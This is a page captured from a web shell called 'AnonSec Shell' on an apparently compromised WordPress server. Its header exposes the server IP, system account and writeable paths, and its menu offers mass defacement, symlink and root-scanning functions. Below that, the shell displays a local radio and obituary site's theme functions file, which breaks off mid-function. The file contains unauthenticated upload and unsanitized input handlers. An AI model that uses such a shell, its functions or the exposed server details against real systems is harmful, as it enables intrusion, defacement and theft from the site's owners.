AnonSec Shell
Server IP : 198.244.165.102  /  Your IP : 216.73.216.218   [ Reverse IP ]
Web Server : nginx/1.24.0
System : Linux modovh-ub-01 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : colleary ( 1011)
PHP Version : 8.3.23
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/midwest/public_html/wp-content/themes/midwest-vue-shell/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/midwest/public_html/wp-content/themes/midwest-vue-shell/~functions.php
<?php
/**
 * Midwest Theme functions and definitions
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package Midwest
 * @since 1.0.0
 */

/**
 * Define Constants
 */
define( 'CHILD_THEME_MIDWEST_VERSION', '1.0.0' );

/**
 * Enqueue styles
 */
function child_enqueue_styles() {

	wp_enqueue_style( 'midwest-theme-css', get_stylesheet_directory_uri() . '/style.css', array('astra-theme-css'), CHILD_THEME_MIDWEST_VERSION, 'all' );

}

add_action( 'wp_enqueue_scripts', 'child_enqueue_styles', 15 );

function midwest_theme_enqueue_styles_scripts() {
    // Enqueue styles
    wp_enqueue_style('bootstrap-css', 'https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css', array(), '5.3.3');
    wp_enqueue_style('midwest-custom-style', get_stylesheet_directory_uri() . '/css/style-current.css', array(), null);
    // wp_enqueue_style('midwest-custom-responsive-style', get_stylesheet_directory_uri() . '/css/responsive.css', array(), null);
    wp_enqueue_style('arial-font', 'https://fonts.cdnfonts.com/css/arial-mt', array(), null);
    wp_enqueue_style('font-awesome', 'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.6.0/css/all.min.css', array(), '6.6.0');
    wp_enqueue_style('owl-carousel', 'https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/assets/owl.carousel.min.css', array(), '2.3.4');

    // Enqueue scripts
    wp_enqueue_script('jquery', 'https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.4.1.min.js', array(), '3.4.1', true);
    wp_enqueue_script('jquery-ui-datepicker');
    wp_enqueue_style('jquery-ui-css', 'https://code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css');

    wp_enqueue_script('bootstrap-js', 'https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js', array('jquery'), '5.3.3', true);
    wp_enqueue_script('owl-carousel-js', 'https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/owl.carousel.min.js', array('jquery'), '2.3.4', true);
    wp_enqueue_script('custom-script', get_stylesheet_directory_uri() . '/js/custom-script.js', array('jquery', 'owl-carousel-js', 'jquery-ui-datepicker'), null, true);
    wp_enqueue_script('jspdf', 'https://cdnjs.cloudflare.com/ajax/libs/jspdf/2.5.1/jspdf.umd.min.js', array(), '2.5.1', true);
    wp_enqueue_script('dompurify', 'https://cdn.jsdelivr.net/npm/dompurify@2.4.0/dist/purify.min.js', array(), '2.4.0', true);
    wp_enqueue_script('html2canvas', 'https://cdnjs.cloudflare.com/ajax/libs/html2canvas/1.4.1/html2canvas.min.js', array(), '1.4.1', true);
    wp_enqueue_script('html2pdf', 'https://cdnjs.cloudflare.com/ajax/libs/html2pdf.js/0.9.2/html2pdf.bundle.min.js', array(), '0.9.2', true);
    wp_localize_script('custom-script', 'ajax_object', array(
        'ajax_url' => admin_url('admin-ajax.php'),
        'nonce' => wp_create_nonce('obituary_filter_nonce')
    ));

    // Enqueue Google AdSense script
    // wp_enqueue_script('google-adsense', 'https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js', array(), null, false);
    
}
add_action('wp_enqueue_scripts', 'midwest_theme_enqueue_styles_scripts');


function ajax_obituary_filter() {
    // Get filter values
    // $search_query = isset($_GET['s']) ? sanitize_text_field($_GET['s']) : ''; // Search field
    $search_query = !empty($_GET['s']) ? trim(sanitize_text_field(urldecode($_GET['s']))) : '';
    $date_filter = isset($_GET['date_filter']) ? sanitize_text_field($_GET['date_filter']) : ''; // Date filter
    $category = isset($_GET['category']) ? sanitize_text_field($_GET['category']) : ''; // Category slug

    // Set up query parameters
    $args = array(
        'post_type' => 'obituaries',
        'posts_per_page' => -1,
        'post_status'    => 'publish',
        'orderby' => 'date',
        'order' => 'DESC',
        's' => $search_query,
    );

    // Add category filter if provided
    if (!empty($category)) {
        $args['tax_query'] = array(
            array(
                'taxonomy' => 'obituary-categories',
                'field'    => 'slug',
                'terms'    => $category,
            ),
        );
    }

    // Only add date_query if $date_filter is a valid date
    if ($date_filter && strtotime($date_filter)) {
        $args['date_query'] = array(
            array(
                'year'  => date('Y', strtotime($date_filter)),
                'month' => date('n', strtotime($date_filter)),
                'day'   => date('j', strtotime($date_filter)),
            ),
        );
    }
    // if (empty($search_query) && empty($date_filter) && $category === 'death-notices') {
    //     $args['date_query'] = array(
    //         array(
    //             'after'     => '7 days ago',
    //             'inclusive' => true,
    //         ),
    //     );
    // }
    // Fetch posts based on the query
    $obituaries_query = new WP_Query($args);

    ob_start();


    if ($obituaries_query->have_posts()) : ?>
        <div class="obituaries-list ajax">
            <?php while ($obituaries_query->have_posts()) : $obituaries_query->the_post(); ?>
                <div class="obituary-item d-flex mb-3">
                    <div class="obituary-thumbnail mr-3">
                        <?php if (has_post_thumbnail()) : ?>
                            <a href="<?php the_permalink(); ?>">
                                <img src="<?php the_post_thumbnail_url('thumbnail'); ?>" alt="<?php the_title(); ?>" class="img-fluid thumbnail-img" >
                            </a>
                        <?php else : ?>
                            <img src="<?php echo home_url('/wp-content/uploads/2024/12/CANDLE.jpg'); ?>" alt="<?php the_title(); ?>" class="img-fluid thumbnail-img">
                        <?php endif; ?>
                    </div>
                    <div class="obituary-content">
                        <div class="obituary-date">
                            <small><?php echo get_the_date('M j, Y'); ?> </small>
                        </div>
                        <h4 class="obituary-title">
                            <a href="<?php the_permalink(); ?>"><?php the_title(); ?></a>
                        </h4>
                        <p class="obituary-excerpt"><?php echo wp_trim_words(get_the_excerpt(), 15, '...'); ?></p>
                    </div>
                </div>
            <?php endwhile; ?>
        </div>
    <?php else : ?>
        <p>No obituaries found.</p>
    <?php endif; 

    wp_reset_postdata();
    echo ob_get_clean();
    wp_die();
}
add_action('wp_ajax_obituary_filter', 'ajax_obituary_filter');
add_action('wp_ajax_nopriv_obituary_filter', 'ajax_obituary_filter');


function ajax_condolence_filter() {
    // Get filter values
    $search_query = isset($_GET['s']) ? sanitize_text_field($_GET['s']) : ''; // Search field
    $date_filter = isset($_GET['date_filter']) ? sanitize_text_field($_GET['date_filter']) : ''; // Date filter
    $category = isset($_GET['category']) ? sanitize_text_field($_GET['category']) : ''; // Category slug

    // Set up query parameters
    $args = array(
        'post_type' => 'condolences', // Update post type to 'condolences'
        'posts_per_page' => -1,
        'orderby' => 'date',
        'order' => 'DESC',
        's' => $search_query,
    );

    // Add category filter if provided
    if (!empty($category)) {
        $args['tax_query'] = array(
            array(
                'taxonomy' => 'condolence-categories', // Update taxonomy to match condolences
                'field'    => 'slug',
                'terms'    => $category,
            ),
        );
    }

    // Only add date_query if $date_filter is a valid date
    if ($date_filter && strtotime($date_filter)) {
        $args['date_query'] = array(
            array(
                'year'  => date('Y', strtotime($date_filter)),
                'month' => date('n', strtotime($date_filter)),
                'day'   => date('j', strtotime($date_filter)),
            ),
        );
    }

    // Fetch posts based on the query
    $condolences_query = new WP_Query($args);

    if ($condolences_query->have_posts()) {
        while ($condolences_query->have_posts()) {
            $condolences_query->the_post();

            // Get related obituary ID from the ACF Post Object field
            $related_obituary = get_field('related_obituary');
            $related_image_url = '';

            if ($related_obituary) {
                $related_image_url = get_the_post_thumbnail_url($related_obituary->ID, 'medium');
            }
            ?>
            <div class="col-md-3 col-sm-6 col-xs-12">
                <div class="card">
                    <div class="mid-obituary-card-img-wrap">
                        <div class="rounded-image">
                            <div class="rounded-image-inner">
                                <?php if ($related_image_url) : ?>
                                    <a href="<?php echo get_permalink($related_obituary->ID); ?>">
                                        <img src="<?php echo esc_url($related_image_url); ?>" class="card-img-top" alt="<?php echo esc_attr(get_the_title($related_obituary->ID)); ?>">
                                    </a>
                                <?php else : ?>
                                    <a href="<?php the_permalink(); ?>">
                                        <img src="/wp-content/uploads/2024/12/CANDLE.jpg" class="card-img-top" alt="Default Image">
                                    </a>
                                <?php endif; ?>
                            </div>
                        </div>
                    </div>
                    <div class="card-body">
                        <span><b><?php echo get_the_date('M j, Y'); ?> |</b> <?php echo get_the_time('g:i a'); ?></span>
                        <h4 class="card-title two-line-title">
                            <a href="<?php the_permalink(); ?>"><?php the_title(); ?></a>
                        </h4>
                        <p class="card-text three-line-text"><?php echo wp_trim_words(get_the_excerpt(), 10, '...'); ?></p>
                        <a href="<?php the_permalink(); ?>" class="btn btn-primary mid-read-more-btn">read more <i class="fa-solid fa-plus"></i></a>
                    </div>
                </div>
            </div>
            <?php
        }
    } else {
        echo '<div class="col-md-12"><p>No condolences found.</p></div>';
    }

    wp_reset_postdata();
    wp_die();
}
add_action('wp_ajax_condolence_filter', 'ajax_condolence_filter');
add_action('wp_ajax_nopriv_condolence_filter', 'ajax_condolence_filter');




function fetch_obituary_dates() {
    // Fetch unique dates from obituaries
    $dates = get_posts(array(
        'post_type' => 'obituaries',
        'posts_per_page' => -1,
        'fields' => 'ids',
    ));

    $date_array = [];
    foreach ($dates as $date_post_id) {
        $date = get_the_date('Y-m-d', $date_post_id);
        $date_array[] = $date;
    }

    // Remove duplicate dates and reindex the array
    $date_array = array_unique($date_array);
    $date_array = array_values($date_array);

    // Return the JSON response
    echo json_encode($date_array);
    wp_die();
}

// Hook for fetching unique obituary dates
add_action('wp_ajax_fetch_obituary_dates', 'fetch_obituary_dates');
add_action('wp_ajax_nopriv_fetch_obituary_dates', 'fetch_obituary_dates');

add_action('wp_ajax_submit_condolence', 'submit_condolence');
add_action('wp_ajax_nopriv_submit_condolence', 'submit_condolence');

function submit_condolence() {
    // Check if the nonce is set and valid
    if (!isset($_POST['condolence_nonce']) || !wp_verify_nonce($_POST['condolence_nonce'], 'submit_condolence_nonce')) {
        wp_send_json_error('Invalid nonce');
        wp_die();
    }

    if (!empty($_POST['condolence_message']) && !empty($_POST['guest_name'])) {
        $condolence_message = sanitize_textarea_field($_POST['condolence_message']);
        $related_obituary = intval($_POST['related_obituary']);
        $guest_name = sanitize_text_field($_POST['guest_name']);

        // Check if the user is logged in
        if (is_user_logged_in()) {
            $user = wp_get_current_user(); // Get current logged-in user
        } else {
            // If no user is logged in, treat as anonymous/guest user
            $user = null; // This means no user associated
        }

        // Create a new condolence post
        $condolence_data = array(
            'post_title'    => $guest_name, // Use guest name as post title
            'post_content'  => $condolence_message,
            'post_status'   => 'pending', // You can change this to 'publish' if you want it visible immediately
            'post_type'     => 'condolences',
            'post_author'   => $user ? $user->ID : 0, // If logged in, use user ID; else, 0 for anonymous
            'meta_input'    => array(
                'related_obituary' => $related_obituary, // Save the relationship with the obituary
            ),
        );

        $new_condolence_id = wp_insert_post($condolence_data);

        if (!is_wp_error($new_condolence_id)) {
            wp_send_json_success('Thank you for your condolence. It has been added.');
        } else {
            wp_send_json_error('There was an error submitting your condolence. Please try again.');
        }
    } else {
        wp_send_json_error('Please provide all required fields (condolence message and name).');
    }

    wp_die(); // this is required to terminate immediately and return a proper response
}

function show_drafts_of_obituaries_to_all($query) {
    if (is_admin() || !isset($query->query_vars['post_type']) || $query->query_vars['post_type'] !== 'obituaries') {
        return;
    }

    // Check if the current query is not for the admin panel and if the query is for 'obituaries' post type
    if (!is_admin() && $query->is_main_query()) {
        // Modify the query to include drafts
        $query->set('post_status', array('publish', 'draft'));
    }
}
add_action('pre_get_posts', 'show_drafts_of_obituaries_to_all');



function handle_advertisement_submission() {
    if (isset($_POST['advertisement_name'], $_POST['description'], $_POST['from_date'], $_POST['to_date'])) {
        // Prepare post data for the new advertisement
        $post_data = array(
            'post_title'   => sanitize_text_field($_POST['advertisement_name']),
            'post_content' => sanitize_textarea_field($_POST['description']),
            'post_status'  => 'pending', // Set the post status to pending
            'post_type'    => 'advertisements', // Ensure this matches your custom post type
        );

        // Insert the post into the database
        $post_id = wp_insert_post($post_data);

        // Handle image uploads
        // Check if the image gallery field has files uploaded
        if (!empty($_FILES['image_gallery']['name'][0]) && $post_id) {
            foreach ($_FILES['image_gallery']['name'] as $key => $image) {
                if ($_FILES['image_gallery']['error'][$key] === UPLOAD_ERR_OK) { // Check for upload errors
                    $upload_overrides = ['test_form' => false];
                    $file = [
                        'name' => $_FILES['image_gallery']['name'][$key],
                        'type' => $_FILES['image_gallery']['type'][$key],
                        'tmp_name' => $_FILES['image_gallery']['tmp_name'][$key],
                        'error' => $_FILES['image_gallery']['error'][$key],
                        'size' => $_FILES['image_gallery']['size'][$key],
                    ];

                    // Handle file upload
                    $uploaded_file = wp_handle_upload($file, $upload_overrides);

                    // Save the uploaded file URL as post meta
                    if (isset($uploaded_file['url'])) {
                        add_post_meta($post_id, 'advertisement_images', $uploaded_file['url']);
                    }
                } else {
                    // Handle upload error, if necessary
                    error_log('File upload error: ' . $_FILES['image_gallery']['error'][$key]);
                }
            }
        }


        // Save From Date and To Date as post meta
        if ($post_id) {
            add_post_meta($post_id, 'from_date', sanitize_text_field($_POST['from_date']));
            add_post_meta($post_id, 'to_date', sanitize_text_field($_POST['to_date']));
            add_post_meta($post_id, 'advertiser_name', sanitize_text_field($_POST['advertiser_name']));
            add_post_meta($post_id, 'advertiser_email', sanitize_email($_POST['advertiser_email']));
            add_post_meta($post_id, 'advertiser_phone', sanitize_text_field($_POST['advertiser_phone']));
        }

        // Redirect after successful submission (or show a success message)
        wp_redirect(home_url('/thank-you-advertisement/')); // Change to your thank you page
        exit;
    }
}
add_action('admin_post_nopriv_submit_advertisement', 'handle_advertisement_submission');
add_action('admin_post_submit_advertisement', 'handle_advertisement_submission');

function add_gallery_meta_box() {
    add_meta_box(
        'gallery_meta_box',       // Unique ID
        'Advertisement Gallery',  // Box title
        'display_gallery_meta_box',  // Content callback, must be of type callable
        'advertisements'          // Post type (use your custom post type here)
    );
}
add_action( 'add_meta_boxes', 'add_gallery_meta_box' );

function display_gallery_meta_box( $post ) {
    $gallery = get_post_meta( $post->ID, 'advertisement_gallery', true );
    ?>
    <div>
        <a href="#" class="upload_gallery_button button">Upload/Select Gallery Images</a>
        <ul id="gallery-thumbs">
            <?php if ( ! empty( $gallery ) ) : ?>
                <?php foreach ( $gallery as $image_id ) : ?>
                    <li>
                        <?php echo wp_get_attachment_image( $image_id, 'thumbnail' ); ?>
                        <a href="#" class="remove_image_button">Remove</a>
                    </li>
                <?php endforeach; ?>
            <?php endif; ?>
        </ul>
        <input type="hidden" id="gallery_images" name="gallery_images" value="<?php echo esc_attr( implode( ',', $gallery ) ); ?>" />
    </div>

    <script>
        jQuery(document).ready(function($){
            var frame;
            $('.upload_gallery_button').on('click', function(event){
                event.preventDefault();

                if ( frame ) {
                    frame.open();
                    return;
                }

                frame = wp.media({
                    title: 'Select or Upload Advertisement Gallery Images',
                    button: {
                        text: 'Use these images'
                    },
                    multiple: true
                });

                frame.on('select', function(){
                    var attachments = frame.state().get('selection').map(function(attachment) {
                        attachment = attachment.toJSON();
                        return attachment.id;
                    });
                    
                    $('#gallery_images').val(attachments.join(','));
                    var galleryThumbs = '';
                    $.each(attachments, function(i, id) {
                        galleryThumbs += '<li>' + wp.media.attachment(id).get('thumbnail') + '<a href="#" class="remove_image_button">Remove</a></li>';
                    });
                    $('#gallery-thumbs').html(galleryThumbs);
                });

                frame.open();
            });

            $('#gallery-thumbs').on('click', '.remove_image_button', function(event){
                event.preventDefault();
                $(this).parent().remove();
                var galleryIDs = $('#gallery_images').val().split(',');
                var removeID = $(this).siblings('img').data('id');
                galleryIDs = galleryIDs.filter(function(id){ return id != removeID; });
                $('#gallery_images').val(galleryIDs.join(','));
            });
        });
    </script>
    <?php
}
// Function to load podcasts based on the selected tab
add_action('wp_ajax_load_podcasts', 'load_podcasts_callback');
add_action('wp_ajax_nopriv_load_podcasts', 'load_podcasts_callback');

function load_podcasts_callback() {
    if (!isset($_POST['category']) || !isset($_POST['paged'])) {
        wp_send_json_error('Category or page number not specified');
        return;
    }

    $category = sanitize_text_field($_POST['category']);
    $paged = intval($_POST['paged']); // Get the current page number

    // WP_Query Arguments
    $args = array(
        'post_type' => 'podcasts', // Ensure this matches your custom post type
        'tax_query' => array(
            array(
                'taxonomy' => 'category', // Your custom taxonomy for podcasts
                'field'    => 'slug',
                'terms'    => $category,
            ),
        ),
        'posts_per_page' => 8, // Number of posts per page
        'paged' => $paged // For pagination
    );

    $query = new WP_Query($args);

    if ($query->have_posts()) {
        echo '<div class="row">'; // Start a row for the posts
        while ($query->have_posts()) {
            $query->the_post(); ?>
            <div class="col-md-3 col-sm-6 col-xs-12 podcast-item">
                <div class="card">
                    <?php if (has_post_thumbnail()) : ?>
                        <a href="<?php the_permalink(); ?>"><img src="<?php the_post_thumbnail_url('medium'); ?>" class="card-img-top" alt="<?php the_title(); ?>"></a>
                    <?php endif; ?>
                    <div class="card-body">
                        <span><b><?php echo get_the_date('M j, Y'); ?>  |</b> <?php echo get_the_time('g:i a'); ?></span>
                        <h4 class="card-title two-line-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h4>
                        <p class="card-text three-line-text"><?php echo wp_trim_words(get_the_excerpt(), 20, '...'); ?></p>
                        <a href="<?php the_permalink(); ?>" class="btn btn-primary mid-read-more-btn">read more <i class="fa-solid fa-plus"></i></a>
                    </div>
                </div>
            </div>
        <?php }
        echo '</div>'; // Close the row

        // Pagination
        $total_pages = $query->max_num_pages;
        if ($total_pages > 1) {
            echo '<div class="pagination">';
            for ($i = 1; $i <= $total_pages; $i++) {
                echo '<a href="#" class="page-numbers page-link-doc" data-category="' . esc_attr($category) . '" data-paged="' . $i . '">' . $i . '</a>';
            }
            echo '</div>';
        }
    } else {
        echo '<p>No podcasts found in this category.</p>';
    }

    // Restore original Post Data
    wp_reset_postdata();

    wp_die(); // Required to terminate immediately and return a proper response
}


function astra_child_widgets_init() {

    // Default arguments for the widget area
    $default_args = array(
        'before_widget' => '<aside id="%1$s" class="widget %2$s">',
        'after_widget'  => '</aside>',
        'before_title'  => '<h2 class="widget-title">',
        'after_title'   => '</h2>',
    );

    // Register multiple widget areas
    $widget_areas = array(
        'mid_header_logo' => 'Header Logo',
        'mid_listen_live' => 'Header Listen Live',
        'mid_contact_details' => 'Header Contact Details',
        'mid_social_icons' => 'Social Icons',
        'mid_listen_back' => 'Header Listen Back',
        'mid_hdr_contact' => 'Mob Header Contact',
        'mid_footer_contact' => 'Footer Contact',
        'mid_quick_links' => 'Quick Links',
        'mid_policy_menu' => 'Policy Menu',
        'mid_search_bar' => 'Header Search Bar',
    );

    foreach ( $widget_areas as $id => $name ) {
        register_sidebar(
            array(
                'name'          => esc_html__( $name, 'astra-child' ),
                'id'            => $id,
                'description'   => esc_html__( 'Add widgets here for custom sidebar in the child theme.', 'astra-child' ),
            ) + $default_args
        );
    }
}

// Hook to initialize widget areas
add_action( 'widgets_init', 'astra_child_widgets_init' );

// // Function to register custom post types
// function register_custom_post_types() {
//     $post_types = array(
//         'news', 'sports', 'obituaries', 'jobwaves', 'podcasts', 'contact'
//     );

//     foreach ( $post_types as $post_type ) {
//         register_post_type( $post_type, array(
//             'labels' => array(
//                 'name' => __( ucfirst($post_type), 'astra-child' ),
//                 'singular_name' => __( ucfirst($post_type), 'astra-child' )
//             ),
//             'public' => true,
//             'has_archive' => true,
//             'supports' => array( 'title', 'editor', 'thumbnail' ),
//             'rewrite' => array( 'slug' => $post_type ),
//         ));
//     }
// }

// // Hook to register custom post types
// add_action( 'init', 'register_custom_post_types' );

// Function to include custom post types in search results
function include_custom_post_types_in_search( $query ) {
    if ( $query->is_search() && !is_admin() && $query->is_main_query() ) {
        // Get and sanitize the search term from the URL
        $search_term = !empty($_GET['s']) ? trim(sanitize_text_field(urldecode($_GET['s']))) : '';

        // Normalize apostrophes and characters in the search term
        $slug_term = str_replace(['’', '‘', "'"], "-", $search_term);
        $slug_term = preg_replace('/[^\w\s-]/', '', $slug_term);
        $slug_term = preg_replace('/\s+/', ' ', $slug_term);
        $slug_term = str_replace(' ', '-', $slug_term);
        $slug_term = strtolower($slug_term);

        // Handle category-based filtering
        if ( isset( $_GET['category'] ) ) {
            $category = sanitize_text_field( $_GET['category'] );

            if ( in_array( $category, ['news', 'sports'], true ) ) {
                // If category is news or sports, only filter respective post type
                $query->set( 'post_type', $category );
            } elseif ( in_array( $category, ['anniversary-masses', 'death-notices', 'month-mind-masses'], true ) ) {
                // If category is for obituary categories, filter obituaries and apply taxonomy filter
                $query->set( 'post_type', 'obituaries' );
            
                // Build the tax_query
                $tax_query = array(
                    'relation' => 'OR',
                    array(
                        'taxonomy' => 'obituary-categories',
                        'field'    => 'slug',
                        'terms'    => $category, // Filter by the current category
                    ),
                );
            
                // If the category is 'death-notices', also include 'past-death-notices'
                if ( 'death-notices' === $category ) {
                    $tax_query[] = array(
                        'taxonomy' => 'obituary-categories',
                        'field'    => 'slug',
                        'terms'    => 'past-death-notices', // Include 'past-death-notices' as well
                        'operator' => 'IN',
                       
                    );
                    // print_r($query);
                    // die();
                }
            
                // Apply the tax_query to the query
                $query->set( 'tax_query', $tax_query );
            }
             else {
                // Default behavior for other categories
                $query->set( 'post_type', array( 
                    'post', 
                    'page', 
                    'news', 
                    'sports', 
                    'obituaries', 
                    'bingo', 
                    'jobwaves', 
                    'podcasts', 
                    'shows', 
                    'local_services', 
                    'local_vacancies', 
                    'contact', 
                    'advertise_with_us', 
                    'complaints' 
                ));
            }
        } else {
            // Default post types if no category is set
            $query->set( 'post_type', array( 
                'post', 
                'page', 
                'news', 
                'sports', 
                'obituaries', 
                'bingo', 
                'jobwaves', 
                'podcasts', 
                'shows', 
                'local_services', 
                'local_vacancies', 
                'contact', 
                'advertise_with_us', 
                'complaints' 
            ));
        }

        // Apply date filter if available
        if ( isset( $_GET['d'] ) && !empty( $_GET['d'] ) ) {
            $date = sanitize_text_field( $_GET['d'] );
            $timestamp = strtotime( $date );

            if ( $timestamp ) {
                $query->set( 'date_query', array(
                    array(
                        'year'  => date( 'Y', $timestamp ),
                        'month' => date( 'm', $timestamp ),
                        'day'   => date( 'd', $timestamp ),
                    ),
                ));
            }
        }
    }
}
add_action( 'pre_get_posts', 'include_custom_post_types_in_search' );











function fetch_location_forecast($latitude, $longitude) {
    $api_url = "http://openaccess.pf.api.met.ie/metno-wdb2ts/locationforecast?lat={$latitude};long={$longitude}";

    $response = wp_remote_get($api_url);

    if (is_wp_error($response)) {

        return 'Error fetching weather data.';
    }

    $body = wp_remote_retrieve_body($response);
    // print_r($body);die;
    if (empty($body)) {
        return 'No data returned from the weather API.';
    }

    // Parse the XML response
    $xml_data = simplexml_load_string($body);

    // if (!$xml_data) {
    //     return 'Error parsing XML data.';
    // }

    return $xml_data; // Return the parsed XML object
}

function ajax_fetch_weather_data() {

    $lat = isset($_POST['lat']) ? sanitize_text_field($_POST['lat']) : null;
    $lon = isset($_POST['lon']) ? sanitize_text_field($_POST['lon']) : null;

    if (!$lat || !$lon) {
        wp_send_json_error('Invalid location coordinates.');
    }

    // Fetch weather data based on coordinates
    $weather_data = fetch_location_forecast($lat, $lon);

    if (is_string($weather_data)) {
        wp_send_json_error($weather_data);
    }

    ob_start();

    $grouped_forecasts = [];
    $date_format = 'Y-m-d';
    $today = new DateTime();
    $next_three_days = new DateTime('+3 days');
    
    // Get a range of dates
    $date_range = [];
    $interval = new DateInterval('P1D');
    $date_period = new DatePeriod($today, $interval, $next_three_days->modify('+1 day'));

    foreach ($date_period as $date) {
        $date_range[] = $date->format($date_format);
    }

    if (!empty($weather_data->product->time)) {
        foreach ($weather_data->product->time as $forecast) {
            $from = (string) $forecast['from'];
            $temperature = isset($forecast->location->temperature['value']) 
                ? (float) $forecast->location->temperature['value'] 
                : null;
            $wind_speed = isset($forecast->location->windSpeed['mps']) 
                ? (float) $forecast->location->windSpeed['mps'] 
                : null;

            $formatted_date = date($date_format, strtotime($from));
            
            if (in_array($formatted_date, $date_range)) {
                if (!isset($grouped_forecasts[$formatted_date])) {
                    $grouped_forecasts[$formatted_date] = [
                        'min_temp' => $temperature, // Initialize with the first temperature value
                        'max_temp' => $temperature,
                        'min_wind' => $wind_speed, // Initialize with the first wind speed value
                        'max_wind' => $wind_speed,
                        'humidity' => [],
                        'pressure' => [],
                        'cloudiness' => [],
                    ];
                } else {
                    // Check and update min/max values
                    if ($temperature !== null) { // Avoid null values
                        $grouped_forecasts[$formatted_date]['min_temp'] = $grouped_forecasts[$formatted_date]['min_temp'] !== null 
                            ? min($grouped_forecasts[$formatted_date]['min_temp'], $temperature)
                            : $temperature;
                
                        $grouped_forecasts[$formatted_date]['max_temp'] = max($grouped_forecasts[$formatted_date]['max_temp'], $temperature);
                    }
                
                    if ($wind_speed !== null) { // Avoid null values
                        $grouped_forecasts[$formatted_date]['min_wind'] = $grouped_forecasts[$formatted_date]['min_wind'] !== null 
                            ? min($grouped_forecasts[$formatted_date]['min_wind'], $wind_speed)
                            : $wind_speed;
                
                        $grouped_forecasts[$formatted_date]['max_wind'] = max($grouped_forecasts[$formatted_date]['max_wind'], $wind_speed);
                    }
                }

                // Collect additional data
                $grouped_forecasts[$formatted_date]['humidity'][] = isset($forecast->location->humidity['value']) 
                    ? (float) $forecast->location->humidity['value'] 
                    : null;
                $grouped_forecasts[$formatted_date]['pressure'][] = isset($forecast->location->pressure['value']) 
                    ? (float) $forecast->location->pressure['value'] 
                    : null;
                $grouped_forecasts[$formatted_date]['cloudiness'][] = isset($forecast->location->cloudiness['percent']) 
                    ? (float) $forecast->location->cloudiness['percent'] 
                    : null;
            }
        }
    } else {
        $output = '<p>No forecast data available.</p>';
        wp_send_json_error($output);
        return;
    }

    $output = '<div class="owl-carousel owl-theme weather-owl-carousel">';

    foreach ($grouped_forecasts as $date => $data) {
        $avg_humidity = !empty($data['humidity']) ? array_sum($data['humidity']) / count($data['humidity']) : 'N/A';
        $avg_pressure = !empty($data['pressure']) ? array_sum($data['pressure']) / count($data['pressure']) : 'N/A';
        $avg_cloudiness = !empty($data['cloudiness']) ? array_sum($data['cloudiness']) / count($data['cloudiness']) : 'N/A';
    
        $output .= '<div class="weather-summary-item">';
        $output .= '<h3>' . esc_html(date('F j, Y', strtotime($date))) . '</h3>';
        $output .= '<p><i class="fas fa-thermometer-half"></i> Min ' . esc_html($data['min_temp']) . '°C, Max ' . esc_html($data['max_temp']) . '°C</p>';
        $output .= '<p><i class="fas fa-wind"></i> Min ' . esc_html($data['min_wind']) . ' m/s, Max ' . esc_html($data['max_wind']) . ' m/s</p>';
        $output .= '<p><i class="fas fa-tint"></i> ' . esc_html(number_format($avg_humidity, 1)) . '%</p>';
        $output .= '<p><i class="fas fa-tachometer-alt"></i> ' . esc_html(number_format($avg_pressure, 1)) . ' hPa</p>';
        $output .= '<p><i class="fas fa-cloud"></i> ' . esc_html(number_format($avg_cloudiness, 1)) . '%</p>';
        $output .= '</div>';
    }

    $output .= '</div>';

    wp_send_json_success($output);
}






add_action('wp_ajax_fetch_weather_data', 'ajax_fetch_weather_data');
add_action('wp_ajax_nopriv_fetch_weather_data', 'ajax_fetch_weather_data');


add_action('wp_ajax_load_death_notices', 'load_death_notices');
add_action('wp_ajax_nopriv_load_death_notices', 'load_death_notices');

function load_death_notices() {
    $search = $_POST['search'];
    $date = $_POST['date'];

    // Adjust the query to include search and date filtering if necessary
    $args = array(
        'post_type'   => 'obituaries',  // Ensure it's the correct post type
        'post_status' => 'publish',     // Fetch only published posts
        'posts_per_page' => -1,         // Fetch all matching posts
        'tax_query'   => array(
            array(
                'taxonomy' => 'category',
                'field'    => 'slug',
                'terms'    => 'death-notices',  // Replace with your actual category slug
            ),
        ),
        // 'date_query'  => array(
        //     array(
        //         'after'     => '7 days ago',  // Filter posts from the last 7 days
        //         'inclusive' => true,           // Include today's date
        //     ),
        // ),
    );

    if (!empty($search)) {
        $args['s'] = $search;
    }
    if (!empty($date)) {
        $args['date_query'] = array(
            array(
                'after' => $date,
            ),
        );
    }

    $query = new WP_Query($args);

    if ($query->have_posts()) :
        while ($query->have_posts()) : $query->the_post();
            get_template_part('template-parts/content', 'obituary');
        endwhile;
    else :
        echo '<p>No death notices found.</p>';
    endif;

    wp_reset_postdata();
    die();
}







function customize_obituary_taxonomy_metabox() {
    $taxonomy = 'obituary-categories'; // Your taxonomy name
    $post_type = 'obituaries'; // Your custom post type

    // Remove the default metabox
    remove_meta_box("{$taxonomy}div", $post_type, 'side');

    // Add a custom metabox with radio buttons
    add_meta_box(
        "{$taxonomy}_radio_metabox",
        __('Obituary Categories'),
        'render_obituary_taxonomy_radio_metabox',
        $post_type,
        'side',
        'default',
        ['taxonomy' => $taxonomy]
    );
}
add_action('add_meta_boxes', 'customize_obituary_taxonomy_metabox');

function render_obituary_taxonomy_radio_metabox($post, $box) {
    $taxonomy = $box['args']['taxonomy'];
    $terms = get_terms([
        'taxonomy' => $taxonomy,
        'hide_empty' => false,
    ]);

    $current_term_id = '';
    $current_terms = get_the_terms($post->ID, $taxonomy);
    if ($current_terms && !is_wp_error($current_terms)) {
        $current_term_id = $current_terms[0]->term_id; // Single term for radio
    }

    echo '<div class="taxonomy-radio-buttons">';
